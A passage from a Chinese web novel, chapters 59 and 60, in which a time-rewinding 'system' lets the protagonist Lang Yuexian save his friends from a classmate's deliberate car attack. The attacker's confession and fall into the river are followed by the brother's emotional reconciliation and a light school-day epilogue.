“在检测到世界中心主角会遭受毁灭时,世界意志会启动它的最后一项功能,暂停时空,然后使时光倒流至意外发生之前。”主系统在朗月现眼前弹出无数细小的蓝色像素点,像是飞舞的萤火虫群,那些光点旋转凝聚成环形能量蓄积表缓缓展开:“那是它的最后一道程序,也是自毁程序。” “启动时光倒流之后的世界意志会耗尽所有能量,无限期陷入沉睡,直到有高纬度生物将其唤醒,唤醒权限在我这里。”主系统轻咳一声:“当然了,如果陷入沉睡,我并不准备唤醒你所在的这个维度的世界意志。” 朗月现听明白了,还有些疑问:“世界意志沉睡了会怎么样?” “相关小说剧情完全解除,维度世界变成真正的拥有自主意识的完整世界。” 朗月现环顾一圈,说道:“那这些人就不是什么主角配角npc了?” “是拥有完全自由意志,行为不受操控的自由人。” 主系统又继续说道:“世界意志积攒能量大概需要十分钟左右的时间,在能量完成的时候,时间就会自动倒流,所以你要想好。” 朗月现:“想好什么?” “由于小说剧情限制,时间不会回溯到你们完全安全的时刻,只会停留在剧情最后触发点,也就是被车撞击这一造成主角直接死亡的那一刻之前。”主系统声音中多了些严肃的语气,听起来更像朗秉白了,朗月现不由的捏了捏眉心。 “所以就算时间回溯,你们也不是绝对安全的。当时间开始流动,你要想好怎么处理这个致死事件。” 朗月现转身时踩碎了块凝固的玻璃渣,细碎的声响在静止的时空里格外清晰。 他看了看四周,目光扫过程澈鲜血淋漓的手背,扫过周闻铮将坠未坠的泪,最后停在盛衍浸在血泊里的半边脸颊上。 虽然整个人都狼狈不堪,但盛衍眉头舒展,安静闭着眼睛的脸上却显出几分平静的安详,仿佛已经完成了什么执念,即使以这么一种惨烈的方式死去也并没有什么遗憾。 朗月现走过去,蹲下身,飞溅的镜片碎渣凝在那人睫毛上,他的食指悬在盛衍鼻尖前半寸,轻轻抹去了那颗血珠。 “放心,我会处理好的。” 主系统“嗯”了一声,张了张嘴,似乎还有什么话没说完。 朗月现说道:“时间快到了吧。” “嗯……时间回溯只有一次。所以,你千万注意小心。” 朗月现随意地点了点头,主系统看得出来他的心思已经完全不在自己身上了,慢慢的无奈般叹了口气。 声音消散前,一句很轻的“不要受伤”像暖风一般拂过朗月现的脑海,朗月现的耳朵像是被羽毛轻轻扫了一下,还没反应过来,一滴水突然砸在了他的脸上。 悬浮的雨珠开始缓慢下沉,周闻铮眼角的泪终于坠了下来,在静止的时空划出晶亮的银线。 世界活过来了。 第五十九章 江畔何人初见月 刹那间, 朗月现耳膜突然嗡鸣,眼前画面一转,雨水被视线中的熟悉身影挡住让他意识到, 自己此刻正站在事故发生前的老位置。余光中巷口刺目的车灯依旧大亮,灯影里漂浮的雨丝都朝着同一个方向倾斜。 朗月现迅速环顾了一下周围的情况, 他估算着时间最多只回到了撞击前几十秒的时间点。雨滴砸在脸上的瞬间,改装车引擎的轰鸣与周闻铮变了调撕心裂肺般的嘶吼同时炸响在雨夜里。 几分钟前,周闻铮的机车前轮碾过巷口的积水潭,他赶到时天色已经很深了,骑着机车直接撞翻了巷口的垃圾桶。甩开的头盔的动作太急,砸在路边的消防栓上高高弹起, 护目镜边角磕出蛛网的纹裂,就像他此刻快要炸开的脑子。 周闻铮对于朗月现的失联既愤怒又委屈, 在看到他的一瞬间情绪到达了极点。 手机从裤兜滑出来掉进水洼里,裂开的屏幕还停留在他几十个未接来电的提示界面。手背还在渗血的伤口被雨水泡的发白,他鼻尖一酸,突然有些委屈。 周闻铮用力眨了眨眼, 想把这股酸涩憋回去,本来看到朗月现就迫不及待迎上去的身体,此刻却固执地弯腰去捞水坑里的手机。 锁屏照片是他某天偷拍的,朗月现盖着他的外套在家里的沙发上小憩的睡颜。 “你知不知道我找了你……”周闻铮弯腰捞手机的瞬间,看见巷子里站着的是三道人影。 质问的话卡在喉间变成酸涩的硬块,他攥紧了拳头,那股涌上来的情绪将他的整颗心脏都淹没在酸涩的潮湿中。为什么不回信息,为什么不理睬我,为什么别人都知道你在哪,单单就对我这样…… 而在看到巷口突然亮起的车灯时, 心头莫名重重一跳。周闻铮本以为那辆车是那边三个人中某人认识的熟人,只是这么愣了一下,轮胎摩擦地面的尖啸声就是在此刻骤然响起的。 周闻铮保持着半蹲的姿势抬头,轮胎在地面飞速旋转起来,溅起大片的雨水,远光灯晃得他眼前一瞬间发黑。他看见朗月现站在光柱边缘,周闻铮只觉得那一刻耳鸣的厉害,身体比大脑先动起来,他高喊出口的名字突然变调,像是被掐住脖子的野兽。 “月月!” 这一声几乎是从胸腔里撕出来的。周闻铮踉跄着往前扑,泪水不受控的瞬间溢满了他的眼眶。 伴着这凄厉的声音,朗月现已经旋身飞起一脚踹在盛衍腰侧,鞋子陷进□□时,他听见盛衍闷哼着撞进后方的酒箱堆里。左手同时揪住程澈的衣领往怀里带,借着惯性将人拽离原地,带着自己同时摔向安全区域。 轮胎在地面打滑的声音刺得人牙根发酸,朗月现带着人踉跄着撞进广告灯箱的阴影里,余光瞥见那辆发疯的车几乎是擦着程澈的裤管冲了出去。 而那辆改装过的车在雨天因为路面湿滑,车速太快,在没有遇到任何阻碍的情况下,刹车并没有起到它应有的作用。 车子不受控的冲了出去,直接冲出了那条小巷,狠狠撞向了护城河的栏杆。 车尾甩在护城河栏杆上迸出火星,半个车身悬空时,河水腥味混着汽油味涌进鼻腔。 车子在栏杆的冲撞下,终于在车身冲出去半截之后,堪堪悬挂在桥边。 “咳……咳咳…”盛衍扶着腰从废弃的酒箱堆里爬了出来,金丝眼镜歪在鼻梁上。他刚扶正眼镜,就看见周闻铮正跪在朗月现的脚边,额头抵着他的胯骨位置发抖,湿透的夹克在对方的牛仔裤上洇出大片深色痕迹。 程澈拿过掉落在他身旁的雨伞,伞骨“咔”地戳进地砖缝隙,撑着挪到朗月现身边,雨水顺着伞沿在他的肩头织成水帘。他握伞的手背浮起青筋,指节用力得像要捏碎金属伞柄:“刚才那车……”话尾被周闻铮细小的,带着颤抖的呜咽声吞没。 周闻铮像是揪住救命稻草一般,死死抓着朗月现的衣襟,他垂着头稍微挺了挺身子,不让朗月现看见他的脸,把头抵在朗月现肩膀处。 “你……”盛衍从后面揪住程澈后领把人扯开半步,自己挤进伞下时才发现指尖也在抖。他盯着朗月现领口被周闻铮蹭乱的褶皱,喉结滚动两下却说不出话。 朗月现叹着气揉了揉周闻铮后颈,湿漉漉的发茬扎得手心发痒。大型犬似的家伙正把鼻尖往他颈窝里拱,滚烫的呼吸透过衬衫烫着皮肤。 “行了,我手机掉水里了。”他屈指弹了下周闻铮耳钉,“松开,别把鼻涕蹭我领子上了。” 河风卷着栏杆断裂处的铁锈味掠过,程澈突然伸手扣住朗月现手腕。伞面跟着晃了晃,雨珠噼里啪啦砸在周闻铮背上,却没人想着去掰开这个越界的触碰。 几人都还没回过神来,那辆车一看就是奔着杀人去的,如果真的……撞到了朗月现…… 朗月现心里还装着事,周闻铮被推开时身子歪斜了半下,湿透的睫毛黏在通红的眼皮上。他胡乱抹了把脸,指尖还带着泥水里的脏污,在他颧骨蹭出道黑印。朗月现转身时还听见身后传来压抑的抽气声。 朗月现笑了笑,也没拆穿他鼻涕一把泪一把的丢人模样,转身往护城河岸走去。 几人一看到立刻慌了,盛衍伸手一把拉住了朗月现,看着那辆车的眼神冰冷无比:“小月,你先不要过去,很危险,我打电话叫人来处理。” 朗月现却摇了摇头,拂开了盛衍拦着他的手:“我有数。” 程澈赶紧拿着伞追过去:“那我陪你……” 朗月现同样拒绝了他的陪同:“这是我自己的事,你们不要跟过来。” 这句话一出,说明朗月现明显和车里这人认识,几人便犹豫着停下了脚步。 周闻铮突然从后头扑上来,带着热乎乎体温的夹克兜头罩下。朗月现没有拒绝,任由带着青柠罗勒香气的布料罩住潮湿的头发,挡住外面的雨水。 走出去两步又驻足回头,眼风冷冷扫过三人下意识抬起的脚。 “再跟半步,你们试试。”他屈指弹落夹克领口的水珠,三个男人不自主跟随的脚步便钉子般的杵在原地,像被施了定身咒,一动不敢动了。 事情平息,雨也渐渐变小。 车头卡在护栏缝隙里,河水在下方打着旋儿。朗月现屈指轻轻敲了敲龟裂的车窗,安全气囊泄气般地耷拉在方向盘上。驾驶座的人动了动,血污下的五官逐渐清晰。 朗月现半蹲下来,脸上并没有什么厌恶的表情。他只是实在很好奇,自己对宋煜仅有的印象只是程澈那个说话声音很小的怯弱同乡,完全想象不到怎么会是他开车来撞人。 朗月现看着青年被变形的操作台卡住的右腿不自然的扭曲着,膝盖骨凸出诡异的弧度,在恢复意识后微微试图挣扎,便提醒道:“别折腾了,很危险。再等等吧,救护车马上就到。” 宋煜缓慢地转过脸,他被撞的耳鸣的厉害,意识模糊的转过头,看到车窗外正在看着自己的竟然是朗月现。 宋煜缓缓勾起了一个笑,肿胀的眼皮间透着星点眸光。沾血的手指突然抠住车窗边缘,生生将变形车门掰开条缝,把车门打开了。车身随着动作猛地晃动几下,朗月现下意识抓住车门把手稳住平衡:“找死吗?” 宋煜艰难的抬起肿胀的眼皮看向他,他发现朗月现的眼神中竟然没有他想象的那些愤怒和憎恶,平和的一如普通朋友间的会面。 朗月现从裤兜里摸出银质烟盒,把夹克往上拽了拽挡住细小的雨滴,抽出了一根点上递过去:“抽吗?镇痛。” 看到对方摇头也不恼,自顾自咬住滤嘴,草莓味的爆珠啪地在他唇间爆开:“程澈知道你这么恨我吗?” 宋煜突然剧烈的颤抖起来,不知是疼的还是笑的。他咧开渗血的嘴角:“我恨你?是啊…我怎么会这么…咳咳…”话还没说完就被血沫呛住,手指在方向盘抓出几道血痕。 “你改装车的手艺不错。”朗月现用烟头烫开气囊残余的纤维,火星照亮宋煜青紫的颧骨。 “嗯……在修车厂打了几个月工。” 河水拍打桥墩的湍急水流声中,朗月现突然想起成盛衍提到过的贫困生补助名单,随手掸了掸落在膝头的玻璃渣:“勤工俭学的钱都用来买这辆破车了?” 宋煜笑了,嘴角溢出些血丝:“嗯,穷啊。你们不懂,毕竟你们在顶层套房喝的酒,随便一瓶都够我交四年学费了。” 宋煜目光贪婪地看着朗月现,淋湿的额发贴在朗月现在黑夜里白瓷一般的脸上。他还是好漂亮,一如他们初次见面,在宿舍的楼梯上,宋煜一转头,就看见了那个他注定一生都为止动容的男人。 这么漂亮的人,真的就像他* 画里的月亮一样,讨也讨不来,求也求不得。 朗月现屈膝蹲在变形的车门前,他看着宋煜额头上的伤滴下来在领口处晕出暗红色的花。 慢慢吐出一口烟,问道:“为什么?” 宋煜喉间发出破风箱般的笑声,挤出一个比哭还勉强的笑容。 “因为我太贪心了。” “我用你们那晚在废弃教室的照片威胁盛衍,我说我想爬你的床。”宋煜染血的指尖深深扣进方向盘皮套上,“哪怕多下贱,有这一晚上,也就够了。” 雨水顺着缝隙滴在朗月现的手背上,激得他微微一抖,烟灰簇簇落下。 宋煜盯着朗月现手背上那点水光慢慢开口:“不过我也付出了过于天真的代价,盛衍和唐临晖合伙给我下了个套,将我带到酒吧,找了一群人凌辱了我。” 肿胀的眼皮费力的掀起,他看着朗月现的眼睛:“能帮我擦擦血吗,我看不清你的脸了。” 朗月现将烟丢掉,伸出手擦过宋煜的眼睛,按住了他额头的血口。 “其实那天晚上我回去检查了自己的身体,那些瘀痕应该都是殴打造成的,唐临晖并没有让他们对我做什么,只是用我的手机拍了几张照片。”宋煜说话时喉咙里带着涌上来的血液,他咳了几声,血喷了一领口。 朗月现擦拭血迹的手顿了顿,并没有出声打断他。 “但是唐临晖和我说,他做这件事之前,告诉了你。” “而你对此唯一的反应是,宋煜是谁?” 说到这,宋煜自嘲的笑起来,胸腔震动着发出呼隆隆的气声,应该是有肋骨断掉扎到了肺部。 车身突然剧烈摇晃,朗月现反手撑住车门框。宋煜歪着头,望着远处天边那抹清冷的月光,他微微皱着眉,神色异常痛苦,嘴角却还带着神经质的笑:“你知道最痛的是什么吗?” “是你身边有这么多人,什么样的狗都能蹭到你掌心的温度。我却没办法在你那双漂亮的眼睛里,停留哪怕一瞬。” 他抬手在虚空抓了一把,掌心只剩潮湿的水汽。到底要怎样,才能够到月亮的一束光,能够行行好,也照在自己身上呢? 到底要奉上什么,爱恨在胸腔里烧得骨头都发疼,可那人遥遥投来的目光,依然没有扫过我所在的角落。 月光斜斜切过颧骨,宋煜的半张脸浸在阴影里,扭曲成怪异的笑脸:“最讽刺的是,董其铭的拳头最开始是落在我身上,”他染血的食指戳着自己心口,“可最后站在你伞下的,却是程澈。” 喉间一股股的涌上血沫,宋煜心想,我怎么连血都是苦的。 太苦了,宋煜回想自己这一生,似乎求什么都求不到。 他之前想求名利,想出人头地,现在想要心上人的目光。 太贪心了,是啊,太贪心了。 有些东西,生来就不该是他这种人碰得到的,就像月亮,就像…… 得不到也是应该的。 朗月现视若无睹的冷漠是比被人玩弄凌辱还要让人崩溃百倍的事情,宋煜就在那晚之后彻底绝望了。 宋煜找了个修车师傅,通过买了他家的二手旧车,换来了师傅教他改装车辆的报酬。他在修理厂一边改装车辆,一边密切关注盛衍和朗月现的动向。 某一天,宋煜蹲在修车厂角落,扳手砸在引擎盖上惊飞了路边蹦跶的麻雀。他抹了把脸上的机油,盯着基本改装好了的旧车出神, 沾满机油的笔记本摊在轮胎上,最新一页密密麻麻记着各种时间地点。 手机突然震动,监控画面里出现了那辆熟悉的宾利。“小心烫!”修车师傅的吼声让他手一抖,焊枪在掌心烫出个水泡,宋煜却恍然不觉,他盯着手机屏幕,舔了舔开裂的嘴角。 他看见盛衍所在的位置,在不久后朗月现竟然也在此停了下来,他知道,自己的机会来了。 盛衍会被他撞死,而朗月现,会跟他死在一起。 “我突然明白,要变成伤口,让血肉都融在一起,才能让你记得深些。” 尾音被剧烈的咳嗽截断,断掉的肋骨在胸腔里发出可怖的摩擦声。宋煜说完这一切,他不知道心底涌上的那些五味杂陈的感受都是什么,只一味地死死盯着朗月现,想要从他脸上看出些什么。 朗月现沉默了半响,他蹲在宋煜面前,说:“你说的那件事……我并不知情。唐临晖没有给我打过电话。” 宋煜静静地看着他,半响没说话,慢慢露出个凄惨的笑:“如果你知情呢?” 如果他知情,那他也一定会像唐临晖描述的那样,毫不在意。 朗月现沉默了。 宋煜面对朗月现的沉默,一滴泪顺着眼角带着血迹流了下来。他闭上了眼睛,重新睁开时眼底最后一点光倏地熄灭,眼神变得痛苦又狠厉,猛地伸出已经被撞得有些扭曲的胳膊抓住了朗月现的前襟。 “那你就陪我一起死吧。” 宋煜的手抓上朗月现衣领时,腕骨凸起的弧度硌得人胸口发疼。朗月现闻见对方手指上残留的汽油味混着铁锈腥气,像生锈的刀片划过鼻腔。 这一猛烈的动作让本就摇摇欲坠的车辆随着动作发出令人牙酸的金属变形声,瞬间剧烈晃动起来。 朗月现握住他扭曲颤抖的手腕,他本可以轻易挣脱那双并没有很大力气的手,不知为何,却在对上那双极其痛苦的眼睛时,愣了一瞬。 就是这半秒的迟疑,让他失去了及时挣脱的机会。 宋煜扯住他的领口,朗月现就这么看着他痛苦到了极点的目光,仿佛被震住了一般,宋煜通红的眼底凝着层水膜,倒映着自己背后渐渐亮起的灯光,像困在琥珀里的飞蛾。 车身瞬间倾斜到一个可怕的角度,朗月现脚底在湿滑的地面打滑,后腰撞上断裂的护栏。他看见宋煜扭曲的胳膊以不自然的角度发力,指甲深深陷入他锁骨处的皮肤。 就在两人将要坠入护城河时,宋煜突然猛地松开手,用那只已经扭曲的手腕狠狠推了朗月现一把,将他往岸上推了回去。 那双手在最后关头泄去了那股发狠的力道,染血的虎口擦过自己颈动脉时竟带着颤抖的温柔。锁骨处的刺痛骤然消失,朗月现惊愕的看过去,只模糊捕捉到一个释然的笑容。 爱和恨是不能抵消的,我想让你陪我一起死的时候,也还是觉得,你的眼睛好漂亮。 我以为我是恨你的。 直到这时我才发现,只是我爱的太痛苦了。 “去吧。” 宋煜从胸腔里挤出的声音混着血沫,在护城河的腥风中卷起,扑进朗月现的耳膜中。 宋煜推开他的力气要比拽住他的更大,朗月现被推的几个踉跄,往后跌倒时,被身后一个猛然扑上来的怀抱紧紧抱住。 那个怀抱最先很轻柔,先是在他腰际虚虚环了半圈,想被一片羽毛接住了一般。可是随着车辆坠入水面的巨大落水声,在确认了朗月现安全的下一秒,双臂紧接着骤然收紧到近乎窒息。 朗月现的后背撞进剧烈起伏的胸膛,能清晰数出对方漏跳两拍后又疯狂加速,快要把肋骨震碎的心跳。 潮湿的脸颊紧贴着他耳廓颤抖,鼻尖无意识摩挲着被宋煜指甲划破的伤口,像是要确认这具身体里还有奔涌的热血,勒在腰间的手臂随着失控的颤抖发出布料摩擦的窸窣声。 朗月现忽然感觉到颈窝一热,滚烫的眼泪正顺着他的脖颈往下淌,怀抱又收紧几分,几乎要将他嵌进骨骼中,连指尖都痉挛着通过布料往他皮肤里钻。 带着哭腔的粗重喘息声直到这时才突然传了过来,朗月现意识到身后抱住自己的人从刚才开始竟然被吓到完全没有呼吸。 伴着远方的警笛声中,他听见身后这人的喉咙里发出幼兽般的呜咽,那是极度恐惧过后终于找回呼吸的抽气声。 第六十章(正文完) 第六十章(正文完) 江月何年初照人 所有的声音被重物坠入河水的闷响吞没。 那人用最后的力气把他推回到岸上, 自己像片落叶坠入漆黑的漩涡。朗月现坐在湿透的地上,低头望着空荡荡的手心。周闻铮给他披的夹克歪斜的掉在了不远处,但是雨已经停了, 不需要遮挡雨水了。 雨……已经彻底停了。 朗月现从未见过这么痛苦又复杂的眼神,他被震住了。 而身后传来的熟悉雪松气息混着体温裹上来时, 朗月现的脊背下意识绷紧又放松。那个怀抱神奇的抚慰了他紧绷的神经,朗秉白发抖的指尖正陷在他的腰侧,朗月现轻轻拍了拍紧箍在他身上的手臂。 “轻些……你勒的我喘不过气了。”朗月现抬起手想示意对方松劲,就听见耳畔传来牙齿打颤的轻响。 朗月现蜷在朗秉白怀里,湿透的衣服下摆正往哥哥昂贵的西裤上渗水。往常听到这种话会立即调整姿势的人,此刻却再次收紧了胳膊。 朗秉白把头埋在弟弟潮湿的颈窝中, 额头又一滴汗水滑落。他还在浑身发抖,简直不敢相信自己刚刚经历的这一切。 朗秉白在离开酒吧时那种从未有过的心慌直到他发现各处都找不到朗月现时达到了顶峰。 不在家里, 不在学校,朗月现可能去的地方太多了。而他偏偏骑得还是前不久刚送去保修的那辆被维修员工卸掉了所有追踪器的机车。朗秉白捏了捏眉心,重重吐出一口气。 “机车最后出现在护城河东段,”警局的老同学坐在监控室指着屏幕中骤然打滑的车尾灯, “不过这片是监控盲区……” 椅子砸在地板上的巨响打断了老同学的话,朗秉白盯着画面里朗月现被甩出监控镜头的衣角,喉间猛地涌起一股铁锈味。 朗秉白握方向盘的手抖得几乎握不住钥匙,第三次才打着了火。 雨势正在渐渐变小,轮胎猛地碾过积水潭,朗秉白瞥见河岸处那三个体型身高都非常亮眼的熟悉身影。 盛衍侧脸的眼镜泛着路灯的黄光,程澈手中的伞骨被他捏成诡异的弧度,周闻铮的机车头盔还静静躺在不远处的泥水中。 这三个人全员到场让朗秉白不由警觉自己是不是错过了什么。他眉心一跳,甩上车门时发出的响动让那边听见声音的三个人同时转头望了过来。 朗秉白撑起伞走了过去,遥遥看见头上罩着夹克外套的朗月现正蹲在桥边的护栏边, 身旁骤然是一辆即将坠落的车。 朗秉白看见弟弟漆黑的发梢在罩着头发的夹克外若隐若现,衣服下摆正在顺着风往桥外飘,他几乎瞬间在大脑中计算出那辆改装车彻底失衡的几率有多大。 朗秉白眉头紧锁,脚步立刻快了起来。这也太危险了!小孩怎么这么大胆…… 就在此时,扭曲的车门缝隙中突然伸出一只染血的手,狠狠揪住了朗月现的衣领。 随着剧烈的身体动作,那辆摇摇欲坠的车竟然准备带着朗月现一同坠入漆黑深不见底的护城河中。 程澈的惊呼和护栏断裂声同时炸响。朗秉白扑出去的刹那,那三个人也同时动了。 护城河的腥风灌进鼻腔,朗秉白张开的手臂精准接住那个倒飞回来的身影。 纷乱急促的脚步声在身旁戛然而止。朗秉白双膝跪地,感受到怀里人潮湿的呼吸扫过喉结,才发现自己后槽牙咬得发酸。 朗秉白在那一刻突然感受到了纯粹来自□□上那种肝肠寸断的痛苦,他脑子嗡的一声,意识还没反应过来,身体已经冲了出去。 刚刚在一旁站立着的三个人一直聚精会神的看着朗月现那边,离得远远地谁也没说话。直到朗秉白的车停下时,他们以为是救助车辆和警车到达,刚回头望了一眼,也就在这一刻,事故突发。 三个人慌张的脚步刚动,朗秉白的身影已经从他们身边猛地冲了出去。 朗月现被那只手抓住又推回来,正好落进朗秉白扑上来的怀抱中。 三个男人在雨水泥泞里看着眼前紧紧拥住的两个人,僵持成怪异的三角,直到警笛声撕开雨幕。 “姓名?与肇事者什么关系?”女警的录音笔戳到盛衍眼前时,他正盯着朗月现领口渗血的抓痕。程澈作为肇事者的朋友,被两名警员夹着走向警车问询,频频回头时伞柄在掌心转出焦灼的弧度。 不少警务人员从几人身边陆陆续续冲过去,远处河面传来搜救艇的嗡鸣。程澈作为宋煜的朋友,也被警察叫去问话,周闻铮坚决不动,任谁说也不离开朗月现身边。 周闻铮突然扣住朗月现的手腕,手指在冷白皮肤上压出红印。他想将他从朗秉白怀里拉出来,却在朗月现抬眸的瞬间,像被烫到般松了力道。 朗月现用眼神制止了他的动作,可周闻铮依旧却固执地跪坐在积水里,任凭警员怎么拉扯都不挪窝。 “听话。” 得了主人命令的狼狗终于不情愿的挪动了步子,河面搜救艇的探照灯刺破雨幕,晃得朗月现眯起眼睛。 他歪头靠在兄长肩头,看着盛衍在警戒线外推眼镜,程澈向河面比划着向警员解释,周闻铮用手捂着后脖颈仰头,鞋底正在自己影子里焦躁地碾着烟头。 来来往往的人踩着积水从地上搂抱在一起的两个人身边跑过,急救车顶灯在地面雨水的反光里晕开一圈圈红蓝光斑。一位医护人员经过两人询问是否受伤,朗月现摇头说没有。 警戒线那头传来金属器械碰撞的脆响,医护人员看到他俩没有受伤便转身奔向河岸帮忙,而他的呼喊也终于成功让朗秉白回过神,找回了自己的神智。 他发狠地把弟弟往怀里按,手指掐进对方单薄的肩膀,声音像是被砂纸磨过:“为什么……小月,这到底是……” 哽咽堵住了后半句,朗月现闻到哥哥袖口带着的沉香木珠混着雨水的腥气,感觉到滚烫的液体顺着自己后颈往下淌。 朗月现低头盯着自己张开的手掌,仿佛掌心还粘着皮肤剥离的触感。他恍然觉得那上面还沾着宋煜身上传来的铁锈味的血,他试着蜷起手指,发现它们还在不受控地痉挛,关节像是变成了生锈铰链一样不听使唤。 “他居然松手了。”朗月现盯着自己的掌心喃喃,湿透的额发上的雨水顺着发梢流进嘴角,细细的水汽穿过指缝,把掌心变得湿漉漉的。 宋煜指尖松开衣领的刹那,朗月现听见自己颈椎发出"咯"的轻响。 朗月现的脑海中不断回想着刚刚的所有细节,那人带着笑的下坠像帧卡顿的默片。 指甲盖掀翻时溅出的血珠,被河水冲散的额发,最后凝固的是宋煜眼中百感交集的强烈情绪。 朗月现本质上是个很冷漠的人,他从出生就没有过太充沛的感情,也很难理解别人流露出的这般强烈感情。这次突然被宋煜刺激到回不过神来。 可宋煜明明在坠入河流之前还想着要同自己死在一起,却在最后一刻又将他推回了岸上。 这一切发生的太快了,朗月现心里骤然间产生了极大的震撼。他不明白为什么会有人对自己产生这么强烈的又矛盾的爱意。 朗月现恍惚片刻,始终不理解那个笑容的意思。 朗秉白突然抓住朗月现盯着看的那只手按在自己心口,湿冷的掌心下传来失控的心跳:“你想吓死哥哥吗?”向来注重仪态的人此刻声泪俱下,嘴唇颤抖着发出破了音的哽咽,像是崩到极致的弦猝然断裂。 “你明知道会有危险,为什么还……”他喉结急促滚动着咽下哭腔,“不知道我……” 朗月现的指尖被心跳震得发麻,他半蜷缩在朗秉白怀里,歪头看着兄长痉挛的咬肌,看着哥哥下巴挂着的水珠,看着朗秉白因为自己差点在他面前死去而泪流满面。 朗月现忽然伸出食指,抹开对方下巴的泪:“你最近哭的次数有点多啊,丢不丢人?” 带着体温的西装突然裹上来,朗月现嗅到领口残留的雪松香水味。哥哥的手还在哆嗦,纽扣扣了三次都没对准扣眼:“我……哥哥以后再也不会强加给你任何事情了……” “以后你想怎么样都好,你想……爱谁都好,只要你……”朗秉白的泪止不住的往下落,纽扣再次划出扣眼时,朗月现伸出手制止了哥哥抖个不停地手。 朗秉白便用空出的手捧住他的脸,睫毛上将落未落的水珠随着动作砸在弟弟鼻梁上,再顺着划落,一颗颗砸在朗月现的手背上。 湿透的两个人就这么面对面坐在被雨水打湿的地面上,朗月现微微仰着头,任由对方用手指有些神经质的一遍遍地摩挲自己脸上的泪渍,感觉着布料下剧烈颤抖的小臂。 朗月现没有出声制止,朗秉白却突然泄了力道,额头抵着他湿透的鬓角,远处传来搜救艇的引擎声,混着他压抑的抽气:“以后……你爱谁,都行。别再…”喉结重重滚动两下,“哥哥只想让你好好的,只要你好好的……哥愿意什么都听你的。” “别用这种方式惩罚我。” 朗秉白在眼睁睁看着弟弟即将坠入漆黑的河底那一瞬间,他突然觉得一切都不重要了。 过去的这些年,他像台精密仪器般运转,那么努力和朗父学习和管理集团,满心只想着让弟弟可以永远在他的保护下无忧无虑,肆意妄为的过完这一生。 而此刻河水的腥气灌进鼻腔,他才突然看清自己有多可笑。只顾着一味地将自己的想法,将自己的爱意强加给弟弟,恨不得把命都拴在朗月现身上。 可他从来没想过,如果朗月现不在,那他做的一切还有什么意义? 他的整个人生也再没有意义了。 朗秉白终于妥协了。只要朗月现好好的,他愿意付出任何代价。 他不需要弟弟爱他了,不需要他的任何回应,他怎么样都好,只要好好活着,他再也不奢求任何东西了。 他会将自己所有不恰当的爱意藏起来,他愿意按照朗月现喜欢的生活方式,再次退回到他熟悉的位置,做一辈子的哥哥。 只做朗月现心目中最好的那个哥哥,再也不越界半分。 朗月现反手摸了摸他的脸,深深地看着哥哥泪流满面的样子,陷入了自己从未经历过的内心情感风暴。 那是不用眼睛看都能感受到的痛苦。 朗月现无意识蜷起手指,突然被更大的颤抖包裹。原来人类的心脏,真的能隔着两层湿透的布料,把疼痛烫进另一个人掌心。 他看着朗秉白的眼睛,突然有种很强烈又陌生的感情从心头涌上来。 朗月现抬手蹭过兄长发红的眼尾,指腹沾到咸涩的水渍。河面漂着半截枯枝,打着旋儿往东去了。 朗月现把手按在自己左胸口,那里正传来陌生的悸动。他说不清这是种什么样的感受,只是,他清楚的知道,自己不想再看到朗秉白如此痛苦流泪的模样了。 朗月现还没弄清这种悸动的由来,他干脆顺着心意,扯住了朗秉白的手,放在自己脸上,看着他的眼睛,说。 “回家吧,哥。” —— 朗月现最近有些烦躁。 倒不是因为彻底暴富后天天在他脑海里撒金币玩的系统,虽然确实也很烦人就是了。 他转着圆珠笔,在草稿纸上无意识地画着圈,余光瞥见前桌女生偷偷往嘴里塞了颗糖,糖纸在阳光下折射出晶亮的光点。 “你能不能别再折腾你那点儿积分了?”他在脑海中叹了口气,左手支着下巴在课本空白处记知识点,笔尖在纸面上划出沙沙的轻响。 系统晃着金光闪闪的小胖手,挥洒着幻化成金币的积分在他脑海里翻跟头:“宿主啊,这是普通积分吗?这可是荣誉!”声音都激动得劈了叉,活像只被踩了尾巴的猫,“全宇宙几千亿个系统里,能拿到满分的还不到三位数!” 朗月现无语的闭了闭眼睛。他坐在靠窗的位置,窗外栾树的影子在书本上轻轻摇晃,晃得人心也随着慢慢摇曳。 “所以全世界最棒的系统,”他咬着笔帽含糊地问,“世界任务都结束半个月了,你什么时候走?” 空气突然安静得能听见老师板书的沙沙声。系统一屁股坐在脑海中虚拟出来的云朵沙发上,两条小短腿胡乱蹬着:“宿主好过分!一点感情都没有吗,说好要做彼此的天使呢!” 电子音硬是挤出哭腔,“宝每天待在这儿也不是白吃饭呢,每天帮宿主监控股票走势,还帮宿主保存相关课程文件,这么有用的系统你还要赶走……” 朗月现手一抖,笔尖在草稿纸上划出长长的黑线。朗月现最怕小东西哼哼唧唧,变着花样撒娇那一套,赶紧安抚着说自己不问了,你乐意啥时候走就啥时候走,再也不催了。 此刻系统正抱着不知从哪变出来的小手绢假哭,圆滚滚的身体在脑海里滚来滚去,压着满地的金币,活像颗沾了金粉的糯米团子。 朗月现望着老师在黑板上新布置的作业叹气,妥协地让系统用他的剩余积分买块草莓蛋糕给它自己吃。 其实说起脱离任务世界这件事系统是有点小心虚的。 本来任务完成该准时接它离开的金色通道迟迟未开,它都已经做好被主系统按照程序准时回收,和宿主告别时两人鼻涕一把泪一把恋恋不舍难舍难分的告别场景了。 但不知道为什么,主系统一直未开启回收通道,反而时不时就会通过系统与主世界的链接进入这个小世界,接管他的程序,强制系统下线。 系统被按了暂停键,只能眼睁睁看着主系统用他的视角默默注视他家宿主。 主系统也不说话,也不出声提醒朗月现他脑海中已经换人了。只是静静地待上那么一会儿,便自然离开,全程朗月现都不知道他脑海中其实换过人。 朗月现浑然不知,自己脑海中的小东西最近连游戏都不玩了,成天都在疯狂计算主系统反常行为背后的百万种可能性。 系统这边安静下来,朗月现又认真看了一会儿书,记下了老师布置的任务,在下课铃响的那一刻起身收拾书包。 教室窗外的栾树叶沙沙作响,朗月现放本子的手突然被保温杯壁轻轻碰了一下。 程澈不知何时站在课桌旁,笑的一如既往的温和乖顺:“是温水。”保温杯盖旋开时腾起的热气模糊了眼前人,他垂眼时睫毛在眼下投出小片阴影。 在朗月现的了解中,迈切斯特在朗秉白和程澈双方带领下可谓是坐了火箭般,各个项目都在螺旋上升蒸蒸日上,忙得不可开交。 程澈和院里商量过了,学校领导也都知道程澈的水平,也清楚迈切斯特将来一定会是大佬级别的顶级企业,自然应允他以半休学状态去忙公司业务。 只不过只要朗月现会过来上的课,程澈即使再忙也会抽出空回来陪他一起上课。 朗月现抬头看了看他,把杯子接了过来,温水入喉的瞬间,他问道:“宋煜怎么样了?” 程澈的表情有一瞬间的扭曲,仿佛很难接受这个名字从朗月现嘴里说出来。朗月现正在仰头喝水,并没有看见他的神情。 